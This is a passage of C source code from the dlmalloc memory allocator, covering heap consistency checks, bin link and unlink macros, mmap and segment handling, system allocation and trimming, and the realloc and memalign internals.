0) { tchunkptr u = t; do { if (u == (tchunkptr)x) return 1; } while ((u = u->fd) != t); } } } return 0; } /* Traverse each chunk and check it; return total */ static size_t traverse_and_check(mstate m) { size_t sum = 0; if (is_initialized(m)) { msegmentptr s = &m->seg; sum += m->topsize + TOP_FOOT_SIZE; while (s != 0) { mchunkptr q = align_as_chunk(s->base); mchunkptr lastq = 0; assert(pinuse(q)); while (segment_holds(s, q) && q != m->top && q->head != FENCEPOST_HEAD) { sum += chunksize(q); if (cinuse(q)) { assert(!bin_find(m, q)); do_check_inuse_chunk(m, q); } else { assert(q == m->dv || bin_find(m, q)); assert(lastq == 0 || cinuse(lastq)); /* Not 2 consecutive free */ do_check_free_chunk(m, q); } lastq = q; q = next_chunk(q); } s = s->next; } } return sum; } /* Check all properties of malloc_state. */ static void do_check_malloc_state(mstate m) { bindex_t i; size_t total; /* check bins */ for (i = 0; i < NSMALLBINS; ++i) do_check_smallbin(m, i); for (i = 0; i < NTREEBINS; ++i) do_check_treebin(m, i); if (m->dvsize != 0) { /* check dv chunk */ do_check_any_chunk(m, m->dv); assert(m->dvsize == chunksize(m->dv)); assert(m->dvsize >= MIN_CHUNK_SIZE); assert(bin_find(m, m->dv) == 0); } if (m->top != 0) { /* check top chunk */ do_check_top_chunk(m, m->top); assert(m->topsize == chunksize(m->top)); assert(m->topsize > 0); assert(bin_find(m, m->top) == 0); } total = traverse_and_check(m); assert(total <= m->footprint); assert(m->footprint <= m->max_footprint); } #endif /* DEBUG */ /* ----------------------------- statistics ------------------------------ */ #if !NO_MALLINFO static struct mallinfo internal_mallinfo(mstate m) { struct mallinfo nm = { 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 }; if (!PREACTION(m)) { check_malloc_state(m); if (is_initialized(m)) { size_t nfree = SIZE_T_ONE; /* top always free */ size_t mfree = m->topsize + TOP_FOOT_SIZE; size_t sum = mfree; msegmentptr s = &m->seg; while (s != 0) { mchunkptr q = align_as_chunk(s->base); while (segment_holds(s, q) && q != m->top && q->head != FENCEPOST_HEAD) { size_t sz = chunksize(q); sum += sz; if (!cinuse(q)) { mfree += sz; ++nfree; } q = next_chunk(q); } s = s->next; } nm.arena = sum; nm.ordblks = nfree; nm.hblkhd = m->footprint - sum; nm.usmblks = m->max_footprint; nm.uordblks = m->footprint - mfree; nm.fordblks = mfree; nm.keepcost = m->topsize; } POSTACTION(m); } return nm; } #endif /* !NO_MALLINFO */ static void internal_malloc_stats(mstate m) { if (!PREACTION(m)) { size_t maxfp = 0; size_t fp = 0; size_t used = 0; check_malloc_state(m); if (is_initialized(m)) { msegmentptr s = &m->seg; maxfp = m->max_footprint; fp = m->footprint; used = fp - (m->topsize + TOP_FOOT_SIZE); while (s != 0) { mchunkptr q = align_as_chunk(s->base); while (segment_holds(s, q) && q != m->top && q->head != FENCEPOST_HEAD) { if (!cinuse(q)) used -= chunksize(q); q = next_chunk(q); } s = s->next; } } fprintf(stderr, "max system bytes = %10lu\n", (unsigned long)(maxfp)); fprintf(stderr, "system bytes = %10lu\n", (unsigned long)(fp)); fprintf(stderr, "in use bytes = %10lu\n", (unsigned long)(used)); POSTACTION(m); } } /* ----------------------- Operations on smallbins ----------------------- */ /* Various forms of linking and unlinking are defined as macros. Even the ones for trees, which are very long but have very short typical paths. This is ugly but reduces reliance on inlining support of compilers. */ /* Link a free chunk into a smallbin */ #define insert_small_chunk(M, P, S) {\ bindex_t I = small_index(S);\ mchunkptr B = smallbin_at(M, I);\ mchunkptr F = B;\ assert(S >= MIN_CHUNK_SIZE);\ if (!smallmap_is_marked(M, I))\ mark_smallmap(M, I);\ else if (RTCHECK(ok_address(M, B->fd)))\ F = B->fd;\ else {\ CORRUPTION_ERROR_ACTION(M);\ }\ B->fd = P;\ F->bk = P;\ P->fd = F;\ P->bk = B;\ } /* Unlink a chunk from a smallbin */ #define unlink_small_chunk(M, P, S) {\ mchunkptr F = P->fd;\ mchunkptr B = P->bk;\ bindex_t I = small_index(S);\ assert(P != B);\ assert(P != F);\ assert(chunksize(P) == small_index2size(I));\ if (F == B)\ clear_smallmap(M, I);\ else if (RTCHECK((F == smallbin_at(M,I) || ok_address(M, F)) &&\ (B == smallbin_at(M,I) || ok_address(M, B)))) {\ F->bk = B;\ B->fd = F;\ }\ else {\ CORRUPTION_ERROR_ACTION(M);\ }\ } /* Unlink the first chunk from a smallbin */ #define unlink_first_small_chunk(M, B, P, I) {\ mchunkptr F = P->fd;\ assert(P != B);\ assert(P != F);\ assert(chunksize(P) == small_index2size(I));\ if (B == F)\ clear_smallmap(M, I);\ else if (RTCHECK(ok_address(M, F))) {\ B->fd = F;\ F->bk = B;\ }\ else {\ CORRUPTION_ERROR_ACTION(M);\ }\ } /* Replace dv node, binning the old one */ /* Used only when dvsize known to be small */ #define replace_dv(M, P, S) {\ size_t DVS = M->dvsize;\ if (DVS != 0) {\ mchunkptr DV = M->dv;\ assert(is_small(DVS));\ insert_small_chunk(M, DV, DVS);\ }\ M->dvsize = S;\ M->dv = P;\ } /* ------------------------- Operations on trees ------------------------- */ /* Insert chunk into tree */ #define insert_large_chunk(M, X, S) {\ tbinptr* H;\ bindex_t I;\ compute_tree_index(S, I);\ H = treebin_at(M, I);\ X->index = I;\ X->child[0] = X->child[1] = 0;\ if (!treemap_is_marked(M, I)) {\ mark_treemap(M, I);\ *H = X;\ X->parent = (tchunkptr)H;\ X->fd = X->bk = X;\ }\ else {\ tchunkptr T = *H;\ size_t K = S << leftshift_for_tree_index(I);\ for (;;) {\ if (chunksize(T) != S) {\ tchunkptr* C = &(T->child[(K >> (SIZE_T_BITSIZE-SIZE_T_ONE)) & 1]);\ K <<= 1;\ if (*C != 0)\ T = *C;\ else if (RTCHECK(ok_address(M, C))) {\ *C = X;\ X->parent = T;\ X->fd = X->bk = X;\ break;\ }\ else {\ CORRUPTION_ERROR_ACTION(M);\ break;\ }\ }\ else {\ tchunkptr F = T->fd;\ if (RTCHECK(ok_address(M, T) && ok_address(M, F))) {\ T->fd = F->bk = X;\ X->fd = F;\ X->bk = T;\ X->parent = 0;\ break;\ }\ else {\ CORRUPTION_ERROR_ACTION(M);\ break;\ }\ }\ }\ }\ } /* Unlink steps: 1. If x is a chained node, unlink it from its same-sized fd/bk links and choose its bk node as its replacement. 2. If x was the last node of its size, but not a leaf node, it must be replaced with a leaf node (not merely one with an open left or right), to make sure that lefts and rights of descendents correspond properly to bit masks. We use the rightmost descendent of x. We could use any other leaf, but this is easy to locate and tends to counteract removal of leftmosts elsewhere, and so keeps paths shorter than minimally guaranteed. This doesn't loop much because on average a node in a tree is near the bottom. 3. If x is the base of a chain (i.e., has parent links) relink x's parent and children to x's replacement (or null if none). */ #define unlink_large_chunk(M, X) {\ tchunkptr XP = X->parent;\ tchunkptr R;\ if (X->bk != X) {\ tchunkptr F = X->fd;\ R = X->bk;\ if (RTCHECK(ok_address(M, F))) {\ F->bk = R;\ R->fd = F;\ }\ else {\ CORRUPTION_ERROR_ACTION(M);\ }\ }\ else {\ tchunkptr* RP;\ if (((R = *(RP = &(X->child[1]))) != 0) ||\ ((R = *(RP = &(X->child[0]))) != 0)) {\ tchunkptr* CP;\ while ((*(CP = &(R->child[1])) != 0) ||\ (*(CP = &(R->child[0])) != 0)) {\ R = *(RP = CP);\ }\ if (RTCHECK(ok_address(M, RP)))\ *RP = 0;\ else {\ CORRUPTION_ERROR_ACTION(M);\ }\ }\ }\ if (XP != 0) {\ tbinptr* H = treebin_at(M, X->index);\ if (X == *H) {\ if ((*H = R) == 0) \ clear_treemap(M, X->index);\ }\ else if (RTCHECK(ok_address(M, XP))) {\ if (XP->child[0] == X) \ XP->child[0] = R;\ else \ XP->child[1] = R;\ }\ else\ CORRUPTION_ERROR_ACTION(M);\ if (R != 0) {\ if (RTCHECK(ok_address(M, R))) {\ tchunkptr C0, C1;\ R->parent = XP;\ if ((C0 = X->child[0]) != 0) {\ if (RTCHECK(ok_address(M, C0))) {\ R->child[0] = C0;\ C0->parent = R;\ }\ else\ CORRUPTION_ERROR_ACTION(M);\ }\ if ((C1 = X->child[1]) != 0) {\ if (RTCHECK(ok_address(M, C1))) {\ R->child[1] = C1;\ C1->parent = R;\ }\ else\ CORRUPTION_ERROR_ACTION(M);\ }\ }\ else\ CORRUPTION_ERROR_ACTION(M);\ }\ }\ } /* Relays to large vs small bin operations */ #define insert_chunk(M, P, S)\ if (is_small(S)) insert_small_chunk(M, P, S)\ else { tchunkptr TP = (tchunkptr)(P); insert_large_chunk(M, TP, S); } #define unlink_chunk(M, P, S)\ if (is_small(S)) unlink_small_chunk(M, P, S)\ else { tchunkptr TP = (tchunkptr)(P); unlink_large_chunk(M, TP); } /* Relays to internal calls to malloc/free from realloc, memalign etc */ #if ONLY_MSPACES #define internal_malloc(m, b) mspace_malloc(m, b) #define internal_free(m, mem) mspace_free(m,mem); #else /* ONLY_MSPACES */ #if MSPACES #define internal_malloc(m, b)\ (m == gm)? dlmalloc(b) : mspace_malloc(m, b) #define internal_free(m, mem)\ if (m == gm) dlfree(mem); else mspace_free(m,mem); #else /* MSPACES */ #define internal_malloc(m, b) dlmalloc(b) #define internal_free(m, mem) dlfree(mem) #endif /* MSPACES */ #endif /* ONLY_MSPACES */ /* ----------------------- Direct-mmapping chunks ----------------------- */ /* Directly mmapped chunks are set up with an offset to the start of the mmapped region stored in the prev_foot field of the chunk. This allows reconstruction of the required argument to MUNMAP when freed, and also allows adjustment of the returned chunk to meet alignment requirements (especially in memalign). There is also enough space allocated to hold a fake next chunk of size SIZE_T_SIZE to maintain the PINUSE bit so frees can be checked. */ /* Malloc using mmap */ static void* mmap_alloc(mstate m, size_t nb) { size_t mmsize = granularity_align(nb + SIX_SIZE_T_SIZES + CHUNK_ALIGN_MASK); if (mmsize > nb) { /* Check for wrap around 0 */ char* mm = (char*)(DIRECT_MMAP(mmsize)); if (mm != CMFAIL) { size_t offset = align_offset(chunk2mem(mm)); size_t psize = mmsize - offset - MMAP_FOOT_PAD; mchunkptr p = (mchunkptr)(mm + offset); p->prev_foot = offset | IS_MMAPPED_BIT; (p)->head = (psize|CINUSE_BIT); mark_inuse_foot(m, p, psize); chunk_plus_offset(p, psize)->head = FENCEPOST_HEAD; chunk_plus_offset(p, psize+SIZE_T_SIZE)->head = 0; if (mm < m->least_addr) m->least_addr = mm; if ((m->footprint += mmsize) > m->max_footprint) m->max_footprint = m->footprint; assert(is_aligned(chunk2mem(p))); check_mmapped_chunk(m, p); return chunk2mem(p); } } return 0; } /* Realloc using mmap */ static mchunkptr mmap_resize(mstate m, mchunkptr oldp, size_t nb) { size_t oldsize = chunksize(oldp); if (is_small(nb)) /* Can't shrink mmap regions below small size */ return 0; /* Keep old chunk if big enough but not too big */ if (oldsize >= nb + SIZE_T_SIZE && (oldsize - nb) <= (mparams.granularity << 1)) return oldp; else { size_t offset = oldp->prev_foot & ~IS_MMAPPED_BIT; size_t oldmmsize = oldsize + offset + MMAP_FOOT_PAD; size_t newmmsize = granularity_align(nb + SIX_SIZE_T_SIZES + CHUNK_ALIGN_MASK); char* cp = (char*)CALL_MREMAP((char*)oldp - offset, oldmmsize, newmmsize, 1); if (cp != CMFAIL) { mchunkptr newp = (mchunkptr)(cp + offset); size_t psize = newmmsize - offset - MMAP_FOOT_PAD; newp->head = (psize|CINUSE_BIT); mark_inuse_foot(m, newp, psize); chunk_plus_offset(newp, psize)->head = FENCEPOST_HEAD; chunk_plus_offset(newp, psize+SIZE_T_SIZE)->head = 0; if (cp < m->least_addr) m->least_addr = cp; if ((m->footprint += newmmsize - oldmmsize) > m->max_footprint) m->max_footprint = m->footprint; check_mmapped_chunk(m, newp); return newp; } } return 0; } /* -------------------------- mspace management -------------------------- */ /* Initialize top chunk and its size */ static void init_top(mstate m, mchunkptr p, size_t psize) { /* Ensure alignment */ size_t offset = align_offset(chunk2mem(p)); p = (mchunkptr)((char*)p + offset); psize -= offset; m->top = p; m->topsize = psize; p->head = psize | PINUSE_BIT; /* set size of fake trailing chunk holding overhead space only once */ chunk_plus_offset(p, psize)->head = TOP_FOOT_SIZE; m->trim_check = mparams.trim_threshold; /* reset on each update */ } /* Initialize bins for a new mstate that is otherwise zeroed out */ static void init_bins(mstate m) { /* Establish circular links for smallbins */ bindex_t i; for (i = 0; i < NSMALLBINS; ++i) { sbinptr bin = smallbin_at(m,i); bin->fd = bin->bk = bin; } } #if PROCEED_ON_ERROR /* default corruption action */ static void reset_on_error(mstate m) { int i; ++malloc_corruption_error_count; /* Reinitialize fields to forget about all memory */ m->smallbins = m->treebins = 0; m->dvsize = m->topsize = 0; m->seg.base = 0; m->seg.size = 0; m->seg.next = 0; m->top = m->dv = 0; for (i = 0; i < NTREEBINS; ++i) *treebin_at(m, i) = 0; init_bins(m); } #endif /* PROCEED_ON_ERROR */ /* Allocate chunk and prepend remainder with chunk in successor base. */ static void* prepend_alloc(mstate m, char* newbase, char* oldbase, size_t nb) { mchunkptr p = align_as_chunk(newbase); mchunkptr oldfirst = align_as_chunk(oldbase); size_t psize = (char*)oldfirst - (char*)p; mchunkptr q = chunk_plus_offset(p, nb); size_t qsize = psize - nb; set_size_and_pinuse_of_inuse_chunk(m, p, nb); assert((char*)oldfirst > (char*)q); assert(pinuse(oldfirst)); assert(qsize >= MIN_CHUNK_SIZE); /* consolidate remainder with first chunk of old base */ if (oldfirst == m->top) { size_t tsize = m->topsize += qsize; m->top = q; q->head = tsize | PINUSE_BIT; check_top_chunk(m, q); } else if (oldfirst == m->dv) { size_t dsize = m->dvsize += qsize; m->dv = q; set_size_and_pinuse_of_free_chunk(q, dsize); } else { if (!cinuse(oldfirst)) { size_t nsize = chunksize(oldfirst); unlink_chunk(m, oldfirst, nsize); oldfirst = chunk_plus_offset(oldfirst, nsize); qsize += nsize; } set_free_with_pinuse(q, qsize, oldfirst); insert_chunk(m, q, qsize); check_free_chunk(m, q); } check_malloced_chunk(m, chunk2mem(p), nb); return chunk2mem(p); } /* Add a segment to hold a new noncontiguous region */ static void add_segment(mstate m, char* tbase, size_t tsize, flag_t mmapped) { /* Determine locations and sizes of segment, fenceposts, old top */ char* old_top = (char*)m->top; msegmentptr oldsp = segment_holding(m, old_top); char* old_end = oldsp->base + oldsp->size; size_t ssize = pad_request(sizeof(struct malloc_segment)); char* rawsp = old_end - (ssize + FOUR_SIZE_T_SIZES + CHUNK_ALIGN_MASK); size_t offset = align_offset(chunk2mem(rawsp)); char* asp = rawsp + offset; char* csp = (asp < (old_top + MIN_CHUNK_SIZE))? old_top : asp; mchunkptr sp = (mchunkptr)csp; msegmentptr ss = (msegmentptr)(chunk2mem(sp)); mchunkptr tnext = chunk_plus_offset(sp, ssize); mchunkptr p = tnext; int nfences = 0; /* reset top to new space */ init_top(m, (mchunkptr)tbase, tsize - TOP_FOOT_SIZE); /* Set up segment record */ assert(is_aligned(ss)); set_size_and_pinuse_of_inuse_chunk(m, sp, ssize); *ss = m->seg; /* Push current record */ m->seg.base = tbase; m->seg.size = tsize; set_segment_flags(&m->seg, mmapped); m->seg.next = ss; /* Insert trailing fenceposts */ for (;;) { mchunkptr nextp = chunk_plus_offset(p, SIZE_T_SIZE); p->head = FENCEPOST_HEAD; ++nfences; if ((char*)(&(nextp->head)) < old_end) p = nextp; else break; } assert(nfences >= 2); /* Insert the rest of old top into a bin as an ordinary free chunk */ if (csp != old_top) { mchunkptr q = (mchunkptr)old_top; size_t psize = csp - old_top; mchunkptr tn = chunk_plus_offset(q, psize); set_free_with_pinuse(q, psize, tn); insert_chunk(m, q, psize); } check_top_chunk(m, m->top); } /* -------------------------- System allocation -------------------------- */ /* Get memory from system using MORECORE or MMAP */ static void* sys_alloc(mstate m, size_t nb) { char* tbase = CMFAIL; size_t tsize = 0; flag_t mmap_flag = 0; init_mparams(); /* Directly map large chunks */ if (use_mmap(m) && nb >= mparams.mmap_threshold) { void* mem = mmap_alloc(m, nb); if (mem != 0) return mem; } /* Try getting memory in any of three ways (in most-preferred to least-preferred order): 1. A call to MORECORE that can normally contiguously extend memory. (disabled if not MORECORE_CONTIGUOUS or not HAVE_MORECORE or or main space is mmapped or a previous contiguous call failed) 2. A call to MMAP new space (disabled if not HAVE_MMAP). Note that under the default settings, if MORECORE is unable to fulfill a request, and HAVE_MMAP is true, then mmap is used as a noncontiguous system allocator. This is a useful backup strategy for systems with holes in address spaces -- in this case sbrk cannot contiguously expand the heap, but mmap may be able to find space. 3. A call to MORECORE that cannot usually contiguously extend memory. (disabled if not HAVE_MORECORE) */ if (MORECORE_CONTIGUOUS && !use_noncontiguous(m)) { char* br = CMFAIL; msegmentptr ss = (m->top == 0)? 0 : segment_holding(m, (char*)m->top); size_t asize = 0; ACQUIRE_MORECORE_LOCK(); if (ss == 0) { /* First time through or recovery */ char* base = (char*)CALL_MORECORE(0); if (base != CMFAIL) { asize = granularity_align(nb + TOP_FOOT_SIZE + SIZE_T_ONE); /* Adjust to end on a page boundary */ if (!is_page_aligned(base)) asize += (page_align((size_t)base) - (size_t)base); /* Can't call MORECORE if size is negative when treated as signed */ if (asize < HALF_MAX_SIZE_T && (br = (char*)(CALL_MORECORE(asize))) == base) { tbase = base; tsize = asize; } } } else { /* Subtract out existing available top space from MORECORE request. */ asize = granularity_align(nb - m->topsize + TOP_FOOT_SIZE + SIZE_T_ONE); /* Use mem here only if it did continuously extend old space */ if (asize < HALF_MAX_SIZE_T && (br = (char*)(CALL_MORECORE(asize))) == ss->base+ss->size) { tbase = br; tsize = asize; } } if (tbase == CMFAIL) { /* Cope with partial failure */ if (br != CMFAIL) { /* Try to use/extend the space we did get */ if (asize < HALF_MAX_SIZE_T && asize < nb + TOP_FOOT_SIZE + SIZE_T_ONE) { size_t esize = granularity_align(nb + TOP_FOOT_SIZE + SIZE_T_ONE - asize); if (esize < HALF_MAX_SIZE_T) { char* end = (char*)CALL_MORECORE(esize); if (end != CMFAIL) asize += esize; else { /* Can't use; try to release */ (void)CALL_MORECORE(-asize); br = CMFAIL; } } } } if (br != CMFAIL) { /* Use the space we did get */ tbase = br; tsize = asize; } else disable_contiguous(m); /* Don't try contiguous path in the future */ } RELEASE_MORECORE_LOCK(); } if (HAVE_MMAP && tbase == CMFAIL) { /* Try MMAP */ size_t req = nb + TOP_FOOT_SIZE + SIZE_T_ONE; size_t rsize = granularity_align(req); if (rsize > nb) { /* Fail if wraps around zero */ char* mp = (char*)(CALL_MMAP(rsize)); if (mp != CMFAIL) { tbase = mp; tsize = rsize; mmap_flag = IS_MMAPPED_BIT; } } } if (HAVE_MORECORE && tbase == CMFAIL) { /* Try noncontiguous MORECORE */ size_t asize = granularity_align(nb + TOP_FOOT_SIZE + SIZE_T_ONE); if (asize < HALF_MAX_SIZE_T) { char* br = CMFAIL; char* end = CMFAIL; ACQUIRE_MORECORE_LOCK(); br = (char*)(CALL_MORECORE(asize)); end = (char*)(CALL_MORECORE(0)); RELEASE_MORECORE_LOCK(); if (br != CMFAIL && end != CMFAIL && br < end) { size_t ssize = end - br; if (ssize > nb + TOP_FOOT_SIZE) { tbase = br; tsize = ssize; } } } } if (tbase != CMFAIL) { if ((m->footprint += tsize) > m->max_footprint) m->max_footprint = m->footprint; if (!is_initialized(m)) { /* first-time initialization */ m->seg.base = m->least_addr = tbase; m->seg.size = tsize; set_segment_flags(&m->seg, mmap_flag); m->magic = mparams.magic; init_bins(m); if (is_global(m)) init_top(m, (mchunkptr)tbase, tsize - TOP_FOOT_SIZE); else { /* Offset top by embedded malloc_state */ mchunkptr mn = next_chunk(mem2chunk(m)); init_top(m, mn, (size_t)((tbase + tsize) - (char*)mn) -TOP_FOOT_SIZE); } } else { /* Try to merge with an existing segment */ msegmentptr sp = &m->seg; while (sp != 0 && tbase != sp->base + sp->size) sp = sp->next; if (sp != 0 && !is_extern_segment(sp) && check_segment_merge(sp, tbase, tsize) && (get_segment_flags(sp) & IS_MMAPPED_BIT) == mmap_flag && segment_holds(sp, m->top)) { /* append */ sp->size += tsize; init_top(m, m->top, m->topsize + tsize); } else { if (tbase < m->least_addr) m->least_addr = tbase; sp = &m->seg; while (sp != 0 && sp->base != tbase + tsize) sp = sp->next; if (sp != 0 && !is_extern_segment(sp) && check_segment_merge(sp, tbase, tsize) && (get_segment_flags(sp) & IS_MMAPPED_BIT) == mmap_flag) { char* oldbase = sp->base; sp->base = tbase; sp->size += tsize; return prepend_alloc(m, tbase, oldbase, nb); } else add_segment(m, tbase, tsize, mmap_flag); } } if (nb < m->topsize) { /* Allocate from new or extended top space */ size_t rsize = m->topsize -= nb; mchunkptr p = m->top; mchunkptr r = m->top = chunk_plus_offset(p, nb); r->head = rsize | PINUSE_BIT; set_size_and_pinuse_of_inuse_chunk(m, p, nb); check_top_chunk(m, m->top); check_malloced_chunk(m, chunk2mem(p), nb); return chunk2mem(p); } } MALLOC_FAILURE_ACTION; return 0; } /* ----------------------- system deallocation -------------------------- */ /* Unmap and unlink any mmapped segments that don't contain used chunks */ static size_t release_unused_segments(mstate m) { size_t released = 0; msegmentptr pred = &m->seg; msegmentptr sp = pred->next; while (sp != 0) { char* base = sp->base; size_t size = sp->size; msegmentptr next = sp->next; if (is_mmapped_segment(sp) && !is_extern_segment(sp)) { mchunkptr p = align_as_chunk(base); size_t psize = chunksize(p); /* Can unmap if first chunk holds entire segment and not pinned */ if (!cinuse(p) && (char*)p + psize >= base + size - TOP_FOOT_SIZE) { tchunkptr tp = (tchunkptr)p; assert(segment_holds(sp, (char*)sp)); if (p == m->dv) { m->dv = 0; m->dvsize = 0; } else { unlink_large_chunk(m, tp); } if (CALL_MUNMAP(base, size) == 0) { released += size; m->footprint -= size; /* unlink obsoleted record */ sp = pred; sp->next = next; } else { /* back out if cannot unmap */ insert_large_chunk(m, tp, psize); } } } pred = sp; sp = next; } return released; } static int sys_trim(mstate m, size_t pad) { size_t released = 0; if (pad < MAX_REQUEST && is_initialized(m)) { pad += TOP_FOOT_SIZE; /* ensure enough room for segment overhead */ if (m->topsize > pad) { /* Shrink top space in granularity-size units, keeping at least one */ size_t unit = mparams.granularity; size_t extra = ((m->topsize - pad + (unit - SIZE_T_ONE)) / unit - SIZE_T_ONE) * unit; msegmentptr sp = segment_holding(m, (char*)m->top); if (!is_extern_segment(sp)) { if (is_mmapped_segment(sp)) { if (HAVE_MMAP && sp->size >= extra && !has_segment_link(m, sp)) { /* can't shrink if pinned */ size_t newsize = sp->size - extra; /* Prefer mremap, fall back to munmap */ if ((CALL_MREMAP(sp->base, sp->size, newsize, 0) != MFAIL) || (CALL_MUNMAP(sp->base + newsize, extra) == 0)) { released = extra; } } } else if (HAVE_MORECORE) { if (extra >= HALF_MAX_SIZE_T) /* Avoid wrapping negative */ extra = (HALF_MAX_SIZE_T) + SIZE_T_ONE - unit; ACQUIRE_MORECORE_LOCK(); { /* Make sure end of memory is where we last set it. */ char* old_br = (char*)(CALL_MORECORE(0)); if (old_br == sp->base + sp->size) { char* rel_br = (char*)(CALL_MORECORE(-extra)); char* new_br = (char*)(CALL_MORECORE(0)); if (rel_br != CMFAIL && new_br < old_br) released = old_br - new_br; } } RELEASE_MORECORE_LOCK(); } } if (released != 0) { sp->size -= released; m->footprint -= released; init_top(m, m->top, m->topsize - released); check_top_chunk(m, m->top); } } /* Unmap any unused mmapped segments */ if (HAVE_MMAP) released += release_unused_segments(m); /* On failure, disable autotrim to avoid repeated failed future calls */ if (released == 0) m->trim_check = MAX_SIZE_T; } return (released != 0)? 1 : 0; } /* ---------------------------- malloc support --------------------------- */ /* allocate a large request from the best fitting chunk in a treebin */ static void* tmalloc_large(mstate m, size_t nb) { tchunkptr v = 0; size_t rsize = -nb; /* Unsigned negation */ tchunkptr t; bindex_t idx; compute_tree_index(nb, idx); if ((t = *treebin_at(m, idx)) != 0) { /* Traverse tree for this bin looking for node with size == nb */ size_t sizebits = nb << leftshift_for_tree_index(idx); tchunkptr rst = 0; /* The deepest untaken right subtree */ for (;;) { tchunkptr rt; size_t trem = chunksize(t) - nb; if (trem < rsize) { v = t; if ((rsize = trem) == 0) break; } rt = t->child[1]; t = t->child[(sizebits >> (SIZE_T_BITSIZE-SIZE_T_ONE)) & 1]; if (rt != 0 && rt != t) rst = rt; if (t == 0) { t = rst; /* set t to least subtree holding sizes > nb */ break; } sizebits <<= 1; } } if (t == 0 && v == 0) { /* set t to root of next non-empty treebin */ binmap_t leftbits = left_bits(idx2bit(idx)) & m->treemap; if (leftbits != 0) { bindex_t i; binmap_t leastbit = least_bit(leftbits); compute_bit2idx(leastbit, i); t = *treebin_at(m, i); } } while (t != 0) { /* find smallest of tree or subtree */ size_t trem = chunksize(t) - nb; if (trem < rsize) { rsize = trem; v = t; } t = leftmost_child(t); } /* If dv is a better fit, return 0 so malloc will use it */ if (v != 0 && rsize < (size_t)(m->dvsize - nb)) { if (RTCHECK(ok_address(m, v))) { /* split */ mchunkptr r = chunk_plus_offset(v, nb); assert(chunksize(v) == rsize + nb); if (RTCHECK(ok_next(v, r))) { unlink_large_chunk(m, v); if (rsize < MIN_CHUNK_SIZE) set_inuse_and_pinuse(m, v, (rsize + nb)); else { set_size_and_pinuse_of_inuse_chunk(m, v, nb); set_size_and_pinuse_of_free_chunk(r, rsize); insert_chunk(m, r, rsize); } return chunk2mem(v); } } CORRUPTION_ERROR_ACTION(m); } return 0; } /* allocate a small request from the best fitting chunk in a treebin */ static void* tmalloc_small(mstate m, size_t nb) { tchunkptr t, v; size_t rsize; bindex_t i; binmap_t leastbit = least_bit(m->treemap); compute_bit2idx(leastbit, i); v = t = *treebin_at(m, i); rsize = chunksize(t) - nb; while ((t = leftmost_child(t)) != 0) { size_t trem = chunksize(t) - nb; if (trem < rsize) { rsize = trem; v = t; } } if (RTCHECK(ok_address(m, v))) { mchunkptr r = chunk_plus_offset(v, nb); assert(chunksize(v) == rsize + nb); if (RTCHECK(ok_next(v, r))) { unlink_large_chunk(m, v); if (rsize < MIN_CHUNK_SIZE) set_inuse_and_pinuse(m, v, (rsize + nb)); else { set_size_and_pinuse_of_inuse_chunk(m, v, nb); set_size_and_pinuse_of_free_chunk(r, rsize); replace_dv(m, r, rsize); } return chunk2mem(v); } } CORRUPTION_ERROR_ACTION(m); return 0; } /* --------------------------- realloc support --------------------------- */ static void* internal_realloc(mstate m, void* oldmem, size_t bytes) { if (bytes >= MAX_REQUEST) { MALLOC_FAILURE_ACTION; return 0; } if (!PREACTION(m)) { mchunkptr oldp = mem2chunk(oldmem); size_t oldsize = chunksize(oldp); mchunkptr next = chunk_plus_offset(oldp, oldsize); mchunkptr newp = 0; void* extra = 0; /* Try to either shrink or extend into top. Else malloc-copy-free */ if (RTCHECK(ok_address(m, oldp) && ok_cinuse(oldp) && ok_next(oldp, next) && ok_pinuse(next))) { size_t nb = request2size(bytes); if (is_mmapped(oldp)) newp = mmap_resize(m, oldp, nb); else if (oldsize >= nb) { /* already big enough */ size_t rsize = oldsize - nb; newp = oldp; if (rsize >= MIN_CHUNK_SIZE) { mchunkptr remainder = chunk_plus_offset(newp, nb); set_inuse(m, newp, nb); set_inuse(m, remainder, rsize); extra = chunk2mem(remainder); } } else if (next == m->top && oldsize + m->topsize > nb) { /* Expand into top */ size_t newsize = oldsize + m->topsize; size_t newtopsize = newsize - nb; mchunkptr newtop = chunk_plus_offset(oldp, nb); set_inuse(m, oldp, nb); newtop->head = newtopsize |PINUSE_BIT; m->top = newtop; m->topsize = newtopsize; newp = oldp; } } else { USAGE_ERROR_ACTION(m, oldmem); POSTACTION(m); return 0; } POSTACTION(m); if (newp != 0) { if (extra != 0) { internal_free(m, extra); } check_inuse_chunk(m, newp); return chunk2mem(newp); } else { void* newmem = internal_malloc(m, bytes); if (newmem != 0) { size_t oc = oldsize - overhead_for(oldp); memcpy(newmem, oldmem, (oc < bytes)? oc : bytes); internal_free(m, oldmem); } return newmem; } } return 0; } /* --------------------------- memalign support -------------------------- */ static void* internal_memalign(mstate m, size_t alignment, size_t bytes) { if (alignment <= MALLOC_ALIGNMENT) /* Can just use malloc */ return internal_malloc(m, bytes); if (alignment < MIN_CHUNK_SIZE) /* must be at least a minimum chunk size */ alignment = MIN_CHUNK_SIZE; if ((alignment & (alignment-SIZE_T_ONE)) != 0) {/* Ensure a power of 2 */ size_t a = MALLOC_ALIGNMENT << 1; while (a < alignment) a <<= 1; alignment = a; } if (bytes >= MAX_REQUEST - alignment) { if (m != 0) { /* Test isn't needed but avoids compiler warning */ MALLOC_FAILURE_ACTION; } } else { size_t nb = request2size(bytes); size_t req = nb + alignment + MIN_CHUNK_SIZE - CHUNK_OVERHEAD; char* mem = (char*)internal_malloc(m, req); if (mem != 0) { void* leader = 0; void* trailer = 0; mchunkptr p = mem2chunk(mem); if (PREACTION(m)) return 0; if ((((size_t)(mem)) % alignment) != 0) { /* misaligned */ /* Find an aligned spot inside chunk. Since we need to give back leading space in a chunk of at least MIN_CHUNK_SIZE, if the first calculation places us at a spot with less than MIN_CHUNK_SIZE leader, we can move to the next aligned spot. We've allocated enough total room so that this is always possible. */ char* br = (char*)mem2chunk((size_t)(((size_t)(mem + alignment - SIZE_T_ONE)) & -alignment)); char* pos = ((size_t)(br - (char*)(p)) >= MIN_CHUNK_SIZE)? br : br+alignment; mchunkptr newp = (mchunkptr)pos; size_t leadsize = pos - (char*)(p); size_t newsize = chunksize(p) - leadsize; if (is_mmapped(p)) { /* For mmapped chunks, just adjust offset */ newp->prev_foot = p->prev_foot + leadsize; newp->head = (newsize|CINUSE_BIT); } else { /* Otherwise, give back leader, use the rest */ set_inuse(m, newp, newsize); set_inuse(m, p, leadsize); leader = chunk2mem(p); } p = newp; } /* Give back spare room at the end */ if (!is_mmapped(p)) { size_t size = chunksize(p); if (size > nb + MIN_CHUNK_SIZE) { size_t remainder_size = size - nb; mchunkptr 